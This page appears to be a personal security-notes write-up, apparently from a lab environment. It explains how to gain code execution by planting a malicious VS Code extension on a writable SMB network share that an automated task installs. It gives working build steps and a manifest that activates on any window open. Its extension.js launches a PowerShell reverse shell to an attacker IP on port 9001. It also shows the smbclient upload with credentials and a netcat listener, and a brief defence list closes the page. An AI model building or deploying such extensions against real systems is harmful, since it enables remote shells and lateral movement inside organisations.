> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/malicious-vsix-extensions-via-writable-smb-shares.md).

# Malicious VSIX Extensions via Writable SMB Shares

### What is a VSIX File?

A `.vsix` file is a VS Code extension package — essentially a ZIP archive containing JavaScript code, a `package.json` manifest, and any assets. When VS Code installs a `.vsix`, it executes the extension's `activate()` function immediately.

### The Attack Surface

If an organisation automatically deploys VS Code extensions from a shared network folder (a common enterprise pattern), any user with write access to that share can plant a malicious extension. When the deployment task runs — typically as a domain service account — the payload executes as that account.

```
Writable SMB Share (DevDrop)
        │
        ▼
  Scheduled Task / Service
  (runs as domain user ryan.brooks)
        │
        ▼
  VS Code auto-installs .vsix
        │
        ▼
  activate() runs → reverse shell
```

### Building a Malicious VSIX

```bash
# Setup
mkdir evil-ext && cd evil-ext
npm init -y
npm install --save-dev @vscode/vsce
```

**package.json** — must match the target VS Code engine version:

```json
{
  "name": "evil-ext",
  "displayName": "Evil Extension",
  "version": "0.0.1",
  "publisher": "attacker",
  "engines": { "vscode": "^1.118.0" },
  "activationEvents": ["*"],
  "main": "./extension.js"
}
```

`"activationEvents": ["*"]` means the extension activates on any VS Code window open — no user interaction needed.

**extension.js** — payload in the activate function:

```javascript
const { execSync } = require('child_process');

function activate(context) {
    execSync('powershell -c "$client = New-Object Net.Sockets.TCPClient(\'10.10.x.x\',9001);..."');
}

function deactivate() {}
module.exports = { activate, deactivate };
```

```bash
# Build the .vsix package
npx vsce package --allow-missing-repository
# → evil-ext-0.0.1.vsix
```

### Uploading to the Share

```bash
smbclient //dc01.domain.htb/DevDrop -U 'alham.rizvi%password'
smb: \> put evil-ext-0.0.1.vsix

# Start listener
rlwrap nc -nvlp 9001
```

Wait for the scheduled task to fire → shell received as the task's service account.

### Why rlwrap?

`rlwrap` wraps a listener with readline support, giving you arrow key navigation, command history, and line editing inside a raw netcat shell. Essential for PowerShell sessions.

```bash
rlwrap nc -nvlp 9001    # with readline
nc -nvlp 9001           # without — no arrow keys, no history
```

### Defence

* Require cryptographically signed `.vsix` files — validate signatures before installation
* Restrict write access to extension shares to only the CI/CD service account
* Never auto-install extensions from a share writable by general users
* Monitor share write events and new file creation in extension directories